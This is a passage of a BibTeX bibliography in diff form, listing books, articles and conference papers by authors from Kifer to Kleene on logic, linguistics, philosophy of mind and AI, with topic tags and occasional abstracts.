{nl-interpretation;context;} + } + +@techreport{ kifer-etal:1991a, + author = {Michael Kifer and Georg Lausen and James Wu}, + title = {Logical foundations of Object-Oriented and Frame-Based + Languages}, + institution = {Department of Computer Science, State University of + New York at Stony Brook}, + number = {90/14}, + year = {1991}, + address = {Stony Brook, NY 11794}, + topic = {frames;inheritance;} + } + +@article{ kifer-lozinski:1992a, + author = {Michael Kifer and E.L. Lozinski}, + title = {A Logic for Reasoning With Inconsistency}, + journal = {Journal of Automated Deduction}, + year = {1992}, + volume = {9}, + pages = {179--215}, + missinginfo = {number}, + topic = {relevance-logic;} + } + +@incollection{ kilgarrif:1995a, + author = {Adam Kilgarrif}, + title = {Inheriting Polysemy}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {319--335}, + address = {Cambridge, England}, + topic = {nl-kr;polysemy;computational-lexical-semantics;} + } + +@incollection{ kim_cw:1971a, + author = {Chu-Wu Kim}, + title = {Experimental Phonetics}, + booktitle = {A Survey of Linguistic Science}, + publisher = {Privately Published, Linguistics Program, University of + Maryland.}, + year = {1971}, + editor = {William Orr Dingwall}, + pages = {17--135}, + address = {College Park, Maryland}, + topic = {phonetics;} + } + +@incollection{ kim_hs:1999a, + author = {Harksoo Kim and Jeong-Mi Cho and Jungyun Seo}, + title = {Anaphora Resolution Using an Extended Centering Algorithm in a + Multi-Modal Dialogue System}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {21--28}, + address = {Somerset, New Jersey}, + topic = {anaphora-resolution;centering;multimodal-communication; + computational-dialogue;} + } + +@inproceedings{ kim_j2-rosenbloom:1996a, + author = {Jihie Kim and Paul S. Rosenbloom}, + title = {Learning Efficient Rules by Maintaining + the Explanation Process}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {763--770}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {machine-learning;} + } + +@article{ kim_jh-rosenbloom:2000a, + author = {Jihie Kim and Paul S. Rosenbloom}, + title = {Bounding the Cost of Learned Rules}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {120}, + number = {1}, + pages = {43--80}, + acontentnote = {Abstract: + In this article we approach one key aspect of the utility + problem in explanation-based learning (EBL)---the + expensive-rule problem---as an avoidable defect in the learning + procedure. In particular, we examine the relationship between + the cost of solving a problem without learning versus the cost + of using a learned rule to provide the same solution, and refer + to a learned rule as expensive if its use is more costly than + the original problem solving from which it was learned. The key + idea we explore is that expensiveness is inadvertently and + unnecessarily introduced into learned rules by the learning + algorithms themselves. This becomes a particularly powerful + idea when combined with an analysis tool which identifies these + hidden sources of expensiveness, and modifications of the + learning algorithms which eliminate them. The result is + learning algorithms for which the cost of learned rules is + bounded by the cost of the problem solving that they replace.}, + topic = {explanation-based-learning;utility-of-learned-information;} + } + +@incollection{ kim_jw:1970a, + author = {Jaegwon Kim}, + title = {Events and Their Descriptions: Some Considerations}, + booktitle = {Essays in Honor of {C}arl {G}. {H}empel}, + publisher = {D. Reidel}, + year = {1970}, + editor = {Nicholas Rescher}, + address = {Dordrecht}, + pages = {199--215}, + topic = {events;} + } + +@article{ kim_jw:1971a, + author = {Jaegwon Kim}, + title = {Causes and Events: {M}ackie on Causation}, + journal = {The Journal of Philosophy}, + year = {1971}, + volume = {68}, + number = {14}, + pages = {426--441}, + topic = {causality;events;} + } + +@article{ kim_jw:1973a, + author = {Jaegwon Kim}, + title = {Causation, Nomic Subsumption, and the Concept of Event}, + journal = {The Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {8}, + pages = {217--236}, + topic = {causality;events;} + } + +@article{ kim_jw:1973b, + author = {Jaegwon Kim}, + title = {Causes and Counterfactuals}, + journal = {The Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {17}, + pages = {570--572}, + topic = {causality;conditionals;} + } + +@incollection{ kim_jw:1978a, + author = {Jaegwon Kim}, + title = {Causation, Emphasis, and Events}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {379--382}, + address = {Minneapolis}, + topic = {events;JL-Austin;sentence-focus;} + } + +@incollection{ kim_jw:1979a, + author = {Jaegwon Kim}, + title = {Causality, Identity, and Supervenience in the Mind-Body + Problem}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {31--49}, + address = {Minneapolis}, + topic = {mind-body-problem;causality;supervenience;} + } + +@incollection{ kim_jw:1984a, + author = {Jaegwon Kim}, + title = {Epiphenomenal and Supervenient Causes}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {257--270}, + address = {Minneapolis}, + topic = {causality;supervenience;philosophy-of-mind;} + } + +@article{ kim_jw:1985a, + author = {Jaegwon Kim}, + title = {Supervenience, Determination, and Reduction}, + journal = {The Journal of Philosophy}, + year = {1985}, + volume = {82}, + number = {11}, + pages = {616--618}, + topic = {supervenience;} + } + +@incollection{ kim_jw:1989a, + author = {Jaegwon Kim}, + title = {Mechanism, Purpose, and Explanatory Exclusion}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {77--108}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {reasons-for-action;} + } + +@book{ kim_jw:1993a, + author = {Jaegwon Kim}, + title = {Supervenience and Mind: Selected Philosophical Essays}, + publisher = {Cambridge University Press}, + year = {1993}, + address = {Cambridge, England}, + topic = {supervenience;philosophy-of-mind;} + } + +@incollection{ kim_jw:1993b, + author = {Jaegwon Kim}, + title = {The Non-Reductivist's Troubles with Mental + Causation}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {189--210}, + address = {Oxford}, + topic = {mind-body-problem;causality;} + } + +@incollection{ kim_jw:1993c, + author = {Jaegwon Kim}, + title = {Can Supervenience and `Non-Strict Laws' + Save Anomalous Monism?}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {19--26}, + address = {Oxford}, + topic = {mind-body-problem;causality;anomalous-monism;} + } + +@incollection{ kim_jw:1997a, + author = {Jaegwon Kim}, + title = {The Mind-Body Problem: Taking Stock after Forty Years}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and + World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {185--207}, + address = {Oxford}, + topic = {philosophy-of-mind;philosophy-of-psychology;} + } + +@book{ kim_jw:1998a, + author = {Jaegwon Kim}, + title = {Mind in a Physical World: An Essay on the Mind-Body + Problem and Mental Causation}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-61153-8}, + xref = {Reviews: glymour:1999a, loewer:2001a, crisp-warfield:2001a.}, + topic = {philosophy-of-mind;mind-body-problem;reasons-for-action; + causality;} + } + +@inproceedings{ kim_y-peters:1995a, + author = {Yookyung Kim and Stanley Peters}, + title = {Semantic and Pragmatic Context-Dependence: The + Case of Reciprocals}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {148--167}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;context;reciprical-constructions;} + } + +@book{ kimber-smith_c:2001a, + author = {Efim Kimber and Carl Smith}, + title = {Theory of Computing: A Gentle Introduction}, + publisher = {Prentice Hall}, + year = {2001}, + address = {Upper Saddle River, New Jersey}, + topic = {automata-theory;finite-state-automata;computability; + context-free-grammars;complexity-theory;theoretical-cs-intro;} + } + +@book{ kimble_g:1995a, + author = {Gregory A. Kimble}, + title = {Psychology: The Hope of a Science}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-psychology;} + } + +@incollection{ kincaid:2000a, + author = {Harold Kincaid}, + title = {Global Arguments and Local Realism about the Social Sciences}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S667--S678}, + address = {Newark, Delaware}, + topic = {philosophy-of-social-science;} + } + +@incollection{ kindt:1981a, + author = {Walther Kindt}, + title = {Word Semantics and Conversational Analysis}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {500--509}, + address = {Berlin}, + topic = {lexical-semantics;conversation-analysis;} + } + +@incollection{ kindt:1983a, + author = {Walther Kindt}, + title = {Two Approaches to Vagueness: Theory of Interaction and + Topology}, + booktitle = {Approaching Vagueness}, + publisher = {North-Holland}, + year = {1983}, + editor = {Thomas T. Ballmer and Manfred Pinkal}, + pages = {361--392}, + address = {Amsterdam}, + topic = {vagueness;context;dynamic-logic;topology;} + } + +@book{ king_ja:2000a, + author = {Julie Adair King}, + title = {Digital Photography for Dummies}, + publisher = {IDG Books}, + year = {2000}, + address = {San Mateo, California}, + topic = {digital-photography;} + } + +@article{ king_jc:1987a, + author = {Jeffrey C. King}, + title = {Pronouns, Descriptions and the Semantics of Discourse}, + journal = {Philosophical Studies}, + year = {1987}, + volume = {51}, + pages = {351--363}, + missinginfo = {number}, + topic = {anaphora;nl-quantification;} + } + +@article{ king_jc:1993a, + author = {Jeffrey C King}, + title = {Intentional Identity Generalized}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {1}, + pages = {61--93}, + topic = {intentional-identity;} + } + +@incollection{ king_jc:1994a, + author = {Jeffrey C. King}, + title = {Anaphora and Operators}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {221--250}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {anaphora;modal-subordination;intentional-identity;} + } + +@article{ king_jc:1994b, + author = {Jeffrey C. King}, + title = {Can Propositions Be Naturalistically Acceptible?}, + journal = {Midwest Studies in Philosophy}, + year = {1994}, + volume = {19}, + pages = {53--75}, + topic = {propositional-attitudes;structured-propositions; + foundations-of-semantics;} + } + +@article{ king_jc:1995a, + author = {Jeffrey C. King}, + title = {Structured Propositions and Complex Predicates}, + journal = {No\^us}, + year = {1995}, + volume = {29}, + number = {4}, + pages = {516--535}, + topic = {propositional-attitudes;structured-propositions;} + } + +@article{ king_jc:1996a, + author = {Jeffrey C. King}, + title = {Structured Propositions and Sentence Structure}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {5}, + pages = {495--521}, + topic = {propositional-attitudes;structured-propositions;} + } + +@article{ king_jc:1999a, + author = {Jeffrey C. King}, + title = {Are Complex `That' Phrases Devices of Direct + Reference?}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {2}, + pages = {155--182}, + topic = {reference;demonstratives;} + } + +@book{ king_jc:2001a, + author = {Jeffrey C. King}, + title = {Complex Demonstratives: A Quantificational Account}, + publisher = {The {MIT} Press}, + year = {2001}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-61169-4}, + topic = {demonstratives;nl-quantification;} + } + +@article{ king_jl:1979a, + author = {John L. King}, + title = {Bivalence and the Sorites Paradox}, + journal = {American Philosophical Quarterly}, + year = {1979}, + volume = {16}, + pages = {17--25}, + missinginfo = {number}, + topic = {vagueness;sorites-paradox;} + } + +@book{ king_m:1983a, + editor = {Margaret King}, + title = {Parsing Natural Language}, + publisher = {Academic Press}, + year = {1983}, + address = {London}, + topic = {nlp-intro;} + } + +@book{ king_m:1987a, + author = {Margaret King}, + title = {Machine Translation: The State of the Art}, + publisher = {Edinburgh University Press}, + year = {1987}, + address = {Edinburgh}, + topic = {machine-translation;} + } + +@incollection{ king_m:1994a, + author = {Margaret King}, + title = {On the Proper Place of Semantics in Machine Translation}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of Don Walker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {41--57}, + address = {Pisa and Dordrecht}, + topic = {machine-translation;computational-lexical-semantics; + computational-semantics;} + } + +@article{ king_pj:1994a, + author = {Paul John King}, + title = {Reconciling {A}ustinian and {R}ussellian Accounts of the + {L}iar {P}aradox}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {5}, + pages = {451--494}, + topic = {semantic-paradoxes;propositions;} + } + +@incollection{ king_pj-simov:1997a, + author = {Paul John King and Kiril Ivanov Simov}, + title = {The Automatic Deduction of Classificatory Systems + from Linguistic Theories}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {248--273}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;} + } + +@article{ king_pj-etal:1999a, + author = {Paul John King and Kiril Ivanov Simov and Bj{\o}rn Aldag}, + title = {The Complexity of Modellability in Finite and Computable + Signatures of a Constraint Logic for Head-Driven Phrase + Structure Grammar}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {1}, + pages = {83--110}, + topic = {HPSG;grammar-formalisms;decidability;grammar-logics;} + } + +@inproceedings{ kinny-georgeff:1991a, + author = {D. N. Kinny and M. P. Georgeff}, + title = {Commitment and Effectiveness of Situated Agents}, + booktitle = {Proceedings of the Twelfth International Joint + Conference on Artificial Intelligence}, + year = {1991}, + editor = {Barbara Grosz and John Mylopoulos}, + pages = {82--88}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {intention;agent-attitudes;practical-reasoning;} + } + +@book{ kiparsky_p:1968a, + author = {Paul Kiparsky}, + title = {How Abstract Is Phonology?}, + publisher = {Indiana University Linguistics Club}, + year = {1968}, + address = {[Bloomington, Indiana}, + topic = {phonology;} + } + +@incollection{ kiparsky_p-kiparsky_c:1970a1, + author = {Paul Kiparsky and Carol Kiparsky}, + title = {Fact}, + booktitle = {Progress in Linguistics: A Collection of Papers}, + publisher = {Mouton}, + year = {1971}, + editor = {Manfred Bierwisch and Karl Erich Heidolph}, + missinginfo = {pages}, + address = {The Hague}, + xref = {Republication: kiparsky_p-kiparsky_c:1970a2.}, + topic = {(counter)factive-constructions;presupposition;pragmatics;} + } + +@incollection{ kiparsky_p-kiparsky_c:1970a2, + author = {Paul Kiparsky and Carol Kiparsky}, + title = {Fact}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {345--369}, + address = {Cambridge, England}, + xref = {Original publication: kiparsky_p-kiparsky_c:1970a2.}, + topic = {(counter)factive-constructions;presupposition;pragmatics;} + } + +@incollection{ kiparsky_p:1971a, + author = {Paul Kiparsky}, + title = {Historical Linguistics}, + booktitle = {A Survey of Linguistic Science}, + publisher = {Privately Published, Linguistics Program, University of + Maryland.}, + year = {1971}, + editor = {William Orr Dingwall}, + pages = {576--649}, + address = {College Park, Maryland}, + topic = {historical-linguistics;} + } + +@incollection{ kiparsky_p:1972a, + author = {Paul Kiparsky}, + title = {Explanation in Phonology}, + booktitle = {Goals of Linguistic Theory}, + publisher = {Prentice-Hall, Inc.}, + year = {1972}, + editor = {Stanley Peters}, + pages = {189--227}, + address = {Englewood Cliffs, New Jersey}, + topic = {phonology;philosophy-of-linguistics;} + } + +@incollection{ kiparsky_p:1973a, + author = {Paul Kiparsky}, + title = {\,`Elsewhere' in Phonology}, + booktitle = {A {F}estschrift for {M}orris {H}alle}, + publisher = {Holt, Rinehart and Winston, Inc.}, + year = {1973}, + editor = {Stephen R. Anderson and Paul Kiparsky}, + pages = {93--106}, + address = {New York}, + topic = {phonology;nm-ling;} + } + +@incollection{ kiparsky_p:1977a, + author = {Paul Kiparsky}, + title = {What Are Phonological Theories about?}, + booktitle = {Testing Linguistic Hypotheses}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David Cohen and Jessica Worth}, + pages = {187--209}, + address = {New York}, + topic = {philosophy-of-linguistics;phonology;} + } + +@book{ kiparsky_p:1982a, + author = {Paul Kiparsky}, + title = {Explanation In Phonology}, + publisher = {Foris Publications}, + year = {1982}, + address = {Dordrecht}, + ISBN = {9070176378}, + contentnote = {TC: + 1. "Sound Change", pp. 1--11 + 2. "Linguistic Universals and Linguistic Change", pp. 13--43 + 3. "Historical Linguistics", pp. 45--55 + 4. "Historical Linguistics", pp. 57--80 + 5. "Explanation in Phonology", pp. 81--118 + 6. "How Abstract is Phonology?", pp. 119--163 + 7. "Productivity in Phonology", pp. 165--173 + 8. "From Paleogrammarians to Neogrammarians", pp. 175--188 + 9. "On the Evaluation Measure", pp. 189--197 + 10. "Remarks on Analogical Change", pp. 199--215 + 11. "Analogical Change as a Problem for Linguistic + Theory", pp. 217--236 + } , + topic = {phonology;linguistics-methodology;} + } + +@inproceedings{ kipp-etal:1999a, + author = {Michael Kipp and Jan Alexandersson and Norbert + Reithinger}, + title = {Understanding Spontaneous Negotiation Dialogue}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {57--64}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;negotiation-subdialogs; + spoken-dialogue-systems;} + } + +@book{ kirakowski-corbett:1990a, + author = {Jurek Kirakowski and Mary Corbett}, + title = {Effective Methodology for the Study of {HCI}}, + publisher = {Elsevier}, + year = {1990}, + address = {Amsterdam}, + ISBN = {0444884475}, + topic = {HCI;} + } + +@inproceedings{ kiraz:1996a, + author = {George A. Kiraz}, + title = {{SEMHE}: A Generalized Two-Level System}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {159--166}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {two-level-morphology;} + } + +@inproceedings{ kiraz:1997a, + author = {George Anton Kiraz}, + title = {Compiling Regular Formalisms with Rule Features + into Finite-State Automata}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {329--336}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {finite-state-automata;finite-state-nlp;} + } + +@article{ kiraz:2000a, + author = {George Anton Kiraz}, + title = {Multitiered Nonlinear Morphology Using + Multitape Finite State Automata: A Case Study + in {S}yriac and {A}rabic}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {1}, + pages = {77--105}, + topic = {finite-state-phonology;finite-state-morpology; + Arabic-language;nonlinear-morphology;} + } + +@inproceedings{ kirby-kahn:1995a, + author = {R. James Kirby and Roger E. Kahn}, + title = {An Architecture for Vision and Action}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {72--79}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {action;computer-vision;foundations-of-robotics;} + } + +@article{ kirk:1998a, + author = {John M. Kirk}, + title = {Review of {\it Corpus Linguistics}, by {T}ony {M}c{E}nerny + and {A}ndrew {W}ilson and of {\it Language and Computers: A + Practical Introduction to the Computer Analysis of Language}, + by {G}eoff {B}arnstock}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + pages = {333--335}, + topic = {corpus-linguistics;} + } + +@book{ kirkham:1992a, + author = {Richard L. Kirkham}, + title = {Theories of Truth: A Critical Introduction}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {truth;} + } + +@article{ kirousis:1993a, + author = {Lefteris M. Kirousis}, + title = {Fast Parallel Constraint Satisfaction}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {64}, + number = {1}, + pages = {147--160}, + acontentnote = {Abstract: + We describe a class of constraint satisfaction problems (CSPs) + for which a global solution can be found by a fast parallel + algorithm. No relaxation preprocessing is needed for the + parallel algorithm to work on this class of CSPs. The result is + motivated from the problem of labelling a 2-D line drawing of a + 3-D object by the Clowes-Huffman-Malik labelling scheme-an + important application of CSP in computer vision. For such a CSP, + the constraint graph can be general, but the constraint + relations are usually of the type we call implicational. It is + shown here that a CSP with this type of constraint relations + (and no restrictions on its graph) can be solved by an efficient + (i.e., with polynomial time complexity) sequential algorithm. + Also, it is shown that it can be solved by a fast parallel + algorithm that executes in time O(log3 n) with O((m+n3)/ log n) + processors on an exclusive-read exclusive-write parallel random + access machine (n is the number of variables and m is the number + of constraint relations-the constraint relations may have arity + more than two). + } , + topic = {complexity-in-AI;parallel-processing;constraint-satisfaction; + polynomial-algorithms;} + } + +@article{ kirsh:1991a, + author = {David Kirsh}, + title = {Foundations of {AI}: The Big Issues}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {47}, + number = {1--3}, + pages = {3--30}, + contentnote = {This is a survey discussion of 5 issues that Kirsh + claims are fundamental in AI. (1) Core AI should begin with + knowledge-level issues. (2) Cognition can be studied as a + disembodied process. (3) Cognition is nicely described in + propositional terms (4) We can study cognition separately + from learning. (5) There is a single architecture underlying + cognition.}, + topic = {foundations-of-AI;} + } + +@article{ kirsh:1991b, + author = {David Kirsh}, + title = {Today the Earwig, Tomorrow Man?}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {47}, + number = {1--3}, + pages = {161--184}, + topic = {reactive-AI;minimalist-robotics;foundations-of-AI;} + } + +@article{ kirsh:1995a, + author = {David Kirsh}, + title = {The Intelligent Use of Space}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {73}, + number = {1--2}, + pages = {31--68}, + acontentnote = {Abstract: + The objective of this essay is to provide the beginning of a + principled classification of some of the ways space is + intelligently used. Studies of planning have typically focused + on the temporal ordering of action, leaving as unaddressed, + questions of where to lay down instruments, ingredients, + work-in-progress, and the like. But, in having a body, we are + spatially located creatures: we must always be facing some + direction, have only certain objects in view, be within reach of + certain others. How we manage the spatial arrangement of items + around us, is not an afterthought; it is an integral part of the + way we think, plan and behave. The proposed classification has + three main categories: spatial arrangements that simplify + choice; spatial arrangements that simplify perception; and + spatial dynamics that simplify internal computation. The data + for such a classification is drawn from videos of cooking, + assembly and packing, everyday observations in supermarkets, + workshops and playrooms, and experimental studies of subjects + playing Tetris, the computer game. This study, therefore, + focusses on interactive processes in the medium and short term: + on how agents set up their workplace for particular tasks, and + how they continuously manage that workplace. } , + topic = {spatial-reasoning;spatial-arrangement-tasks;} + } + +@article{ kisielewicz:1998a, + author = {Andrzej Kisielewicz}, + title = {A Very Strong Set Theory?}, + journal = {Studia Logica}, + year = {1998}, + volume = {61}, + number = {2}, + pages = {171--178}, + topic = {foundations-of-set-theory;axiom-of-comprehension;} + } + +@article{ kiss:1998a, + author = {E. Kiss}, + title = {Identificational Focus Versus Information Focus}, + journal = {Language}, + year = {1998}, + volume = {74}, + pages = {245--273}, + missinginfo = {A's 1st name, number}, + topic = {sentence-focus;} + } + +@book{ kitahara:1997a, + author = {Hisatsugu Kitahara}, + title = {Elementary Operations and Optimal Derivations}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + topic = {nl-syntax;syntactic-minimalism;} + } + +@article{ kitano:1999a, + author = {Hiroaki Kitano}, + title = {Preface}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {110}, + number = {2}, + pages = {189--191}, + note = {Introduction to an issue on RoboCup.}, + topic = {RoboCup;robotics;} + } + +@article{ kitcher:1978a, + author = {Philip Kitcher}, + title = {Positive Understatement: The Logic of Attributive + Adjectives}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {1}, + pages = {1--17}, + topic = {semantics-of-adjectives;vagueness;comparative-constructions;} + } + +@article{ kitcher:1984a, + author = {Philip Kitcher}, + title = {Species}, + journal = {Philosophy of Science}, + year = {1984}, + volume = {51}, + number = {2}, + pages = {308--333}, + topic = {species;philosophy-of-biology;} + } + +@incollection{ kitcher:2000a, + author = {Philip Kitcher}, + title = {Reviving the Sociology of Science}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S33--S44}, + address = {Newark, Delaware}, + topic = {sociology-of-science;} + } + +@article{ kittay:1984a, + author = {Eva Feder Kittay}, + title = {The Identification of Metaphor}, + journal = {Synth\'ese}, + year = {1984}, + volume = {58}, + number = {2}, + pages = {153--202}, + topic = {metaphor;implicature;nl-semantics;} + } + +@article{ kittredge-etal:1991a, + author = {Richard Kittredge and Tanya Korelsky and Owen Rambow}, + title = {On the Need for Domain Communication Knowledge}, + year = {1991}, + journal = {Computational Intelligence}, + volume = {7}, + number = {4}, + topic = {nl-generation;kr;kr-course;} +} + +@article{ kivinen-etal:1997a, + author = {J. Kivinen and M.K. Warmuth and P. Auer}, + title = {The Perception Algorithm Versus Winnow: Linear Versus + Logarithmic Mistake Bounds when Few Input Variables are + Relevant}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {97}, + number = {1--2}, + pages = {325--343}, + topic = {relevance;perceptrons;} + } + +@incollection{ klabunde-jansche:1998a, + author = {Ralf Klabunde and Martin Jansche}, + title = {Abductive Reasoning for Syntactic Realization}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {108--117}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;abduction;} + } + +@incollection{ klahr:1996a, + author = {David Klahr}, + title = {Scientific Discovery Processes in Children, Adults, + and Machines}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {325--355}, + topic = {cognitive-psychology;automated-scientific-discovery; + scientific-discovery;} + } + +@incollection{ klavans:1994a, + author = {Judith L. Klavans}, + title = {Visions of the Digital Library: Views + on Using Computational Linguistics and Semantic + Nets in Information Retrieval}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {227--236}, + address = {Pisa and Dordrecht}, + topic = {machine-readable-dictionaries;semantic-nets; + information-retrieval;} + } + +@book{ klavans-resnik:1996a, + editor = {Judith Klavans and Philip Resnik}, + title = {The Balancing Act: Combining Symbolic and Statistical + Approaches to Language}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + contentnote = {TC: + 1. Steven Abney, "Statistical Methods and Linguistics", pp. 1--26 + 2. Hiyan Alshawi, "Qualitative and Quantitative Models + of Speech Translation", pp. 27--48 + 3. B\'eatrice Daille, "Study and Implementation of Combined + Techniques for Automatic Extraction of Terminology", + pp. 49--66 + 4. Vasileios Hatzivassilogou, "Do We Need a Linguistics When + We have Statistics? A Comparative Analysis of the + Contributions of Linguistic Cues to a Statistical + Word Grouping System", pp. 67--94 + 5. Shayam Kapur and Robin Clark, "The Automatic Construction + of a Symbolic Parser Via Statistical Techniques", + pp. 95--117 + 6. Patti Price, "Combining Linguistic with Statistical + Methods in Automatic Speech Understanding", + pp. 119--133 + 7. Lance A. Ramshaw and Mitchell P. Marcus, "Exploring the + the Nature of Transformation-Based Learning", + pp. 135--156 + 10. Carolyn Pennstein Ros\'e and Alex H. Waibel, "Recovering + from Parser Failures: A Hybrid Statistical and + Symbolic Approach", pp. 157--179 + } , + topic = {corpus-linguistics;corpus-statistics;statistical-nlp;} + } + +@book{ kleene:1952a, + author = {Steven C. Kleene}, + title = {Introduction to Metamathematics}, + publisher = {Van Nostrand}, + year = {1952}, + address = {New York}, + topic = {logic-classics;proof-theory;recursion-theory; + goedels-first-theorem;goedels-second-theorem;} + } + +@incollection{ kleene:1952b, + author = {Stephen C. Kleene}, + title = {Permutation of inferences in {Gentzen}'s calculi {LK} and {LJ}}, + booktitle = {Two papers on the Predicate Calculus}, + publisher = {American Mathematical Society}, + editor = {Stephen 